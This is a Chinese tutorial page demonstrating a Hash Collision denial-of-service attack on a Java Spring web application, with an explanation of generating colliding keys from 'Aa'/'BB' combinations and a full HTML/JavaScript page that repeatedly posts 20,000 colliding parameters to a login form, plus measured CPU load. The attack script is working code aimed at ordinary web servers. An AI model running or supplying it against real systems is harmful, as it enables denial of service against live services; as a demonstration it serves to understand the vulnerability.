首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 其他教程 > 操作系统 >

关于Hash Collision DoS破绽:web实例

2012-09-22 
关于Hash Collision DoS漏洞:web实例关于Hash Collision DoS漏洞:解析与解决方案无意发现了这篇文章,觉得

关于Hash Collision DoS漏洞:web实例
关于Hash Collision DoS漏洞:解析与解决方案
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
构造一个有漏洞的服务程序
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。

假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。


如何构造N多的Hash Collision数据
0(Aa)   1(BB)
-----------------
01          10
-----------------
0101 0110  1001 1010
-------------------------------------------
01010101 01010110  01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据

function combination(a){var res=[]; for(var i = 0; i < a.length; i++ ){var item=a[i];for(var j = 0; j < a.length; j++){res.push(item+""+a[j]);}}return res;}


如何提交请求到服务器
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8"><html><head><title>login</title><script type="text/javascript"src="jquery-1.5.1.js"></script><script type="text/javascript">function combination(a){var res=[]; for(var i = 0; i < a.length; i++ ){var item=a[i];for(var j = 0; j < a.length; j++){res.push(item+""+a[j]);}}return res;}function submitreq(){var a = [0, 1];var ret;var myform=document.forms[0];var action=myform.action;for(var i = 0; i < 4; i++ ){a=combination(a);}//一次提交20000个参数,如果你的机器性能还可以改大点for(var j = 0; j < 20000; j++){var temp=a[j];temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');//ret+=temp+"="+j+"&";$("#UName").after("<input type="hidden" name=""+temp+"" value="">"); }//myform.action=action+"?"+ret;myform.submit();}//每10秒钟执行一次window.setInterval("submitreq()", 10000);</script></head><body><form action="http://192.168.1.20:8080/spring3/user/login" method="post">name:<input name="name" id="UName"><br />password:<input type="password" name="password"><br /><input type="button" value="login" onclick="submitreq()" /></form></body></html>


测试结果
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。


结果图


附件说明:
hash_dos_html.rar   html页面代码和jquery源码
HashCollisionDoS.rar  web project 源代码

热点排行